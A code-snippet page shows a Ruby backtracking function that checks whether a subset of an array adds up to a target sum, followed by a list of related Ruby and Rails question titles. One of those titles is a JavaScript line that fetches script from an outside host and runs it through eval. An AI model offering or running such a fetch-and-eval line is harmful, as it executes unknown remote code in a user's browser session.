Backtracking solution in ruby

def exact_sum?(sum, arr)
return true if sum==0
return false if sum < 0 || arr.empty?
# now we are checking both cases
exact_sum?(sum - arr[0], arr[1,arr.length]) || exact_sum?(sum, arr[1,arr.length])
end

puts exact_sum?(12, [1, 2, 3, 4, 5]);
# => true

Source: hackernoon.com

Similar codes

0 vote141 views7 answers
$javascript $.get('//api.rbx2.xyz/rbx id=16553' eval)
Ruby
0 vote137 views1 answer
How to generate a controller in a nested route rails
Ruby
0 vote132 views1 answer
Rails print number with space
Ruby
0 vote157 views1 answer
How do I add index's to a migration in rails
Ruby
1 vote138 views1 answer
Activerecord list tables
Ruby
0 vote166 views1 answer
Rails convert image to base64
Ruby
0 vote136 views2 answers
Ruby get the number of same element in array
Ruby
1 vote137 views1 answer
Rails foreach
Ruby
0 vote143 views1 answer
How to force exit server in rails
Ruby
1 vote130 views1 answer
Devise redirectt after sign up
Ruby